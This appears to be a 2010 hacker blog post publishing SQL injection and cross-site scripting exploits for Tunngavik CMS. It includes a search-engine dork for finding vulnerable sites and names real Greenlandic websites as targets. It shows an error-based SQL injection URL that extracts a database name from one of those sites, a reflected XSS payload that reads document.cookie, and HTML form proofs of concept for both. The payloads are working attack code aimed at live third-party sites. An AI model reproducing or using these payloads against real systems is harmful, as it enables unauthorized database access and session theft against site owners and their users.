19 Aralık 2010 Pazar

Tunngavik CMS <= (index.php) SQL-i/Persistent XSS Exploits

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[~] HomePage : http://h4x0resec.blogspot.com
[~] Reference : http://h4x0resec.blogspot.com
[~] Special Thanks : DaiMon,BARCOD3 and H4X0RE SECURITY
##############################################################
exploit(lamer)-DB.com FUCK n00b LAMERS.

Kral�n�z gelsin. mua:) siksqlZk�rev..
############################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Tunngavik CMS
|~Price : N/A
|~Version : N/A
|~Software: http://www.tunngavik.gl/
|~Vulnerability Style : based SQL INjection
|~Vulnerability Dir : /program/
|~sqL : MysqL based error
|~Google Keyword : "Powered by Tunngavik CMS"
|[~]Date : "19.12.2010"
|[~]Tested on : (L):Vista (R):Microsoft-IIS/7.0  PHP/5.2.9-2 demos
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Demos:
http://www.carllynge.gl
http://www.nipilersornermikilinniarfik.gl
http://www.kaf.gl/
http://www.gif.gl
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ===============================================================
    |{~~~~~~~~ Explotation| index.php SQL Injection~~~~~~~~~~~}|
    
    http://$localhost/$path/program/index.php?t_id=24 {Based SQL Injection}
    
    Ex; http://www.gif.gl/
    
    [~] SQL Injecting
    http://www.gif.gl/program/index.php?t_id=24%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
    [~] MySQL Writes : Duplicate entry '~'gif'~1' for key 'group_key'
    [+] Database OK. : 'gif'

########################################################################
POC Exploit
    
<html>
<body>
<form 
action="http://www.gif.gl/program/index.php?t_id=24 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1" 
method="POST">
<input type="submit" name="kieli" value="Click and SQL Injection for click Enter">
</form>
</body>
</html>
#######################################################################
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ===============================================================
    |{~~~~~~~~ Explotation| index.php Cross Site Scripting~~~~~~~~~~~}|
    
    http://$localhost/$path/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000 {XSS Exploit}

   [~]XSS attacking..
   http://www.gif.gl/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000"><script>alert(document.cookie)</script>
   [~]Browser Writes : $Cookie
   [+]Attack OK.
   
    To your continue..
    
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#######################################################################
POC XSS EXPLOIT
<html>
<body>
<form 
action="http://www.gif.gl/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000"><script>alert(document.cookie)</script>" 
method="POST">
<input type="submit" name="kieli" value="Click and xss attack for click Enter">
</form>
</body>
</html>
#######################################################################

Hiç yorum yok:

Yorum Gönder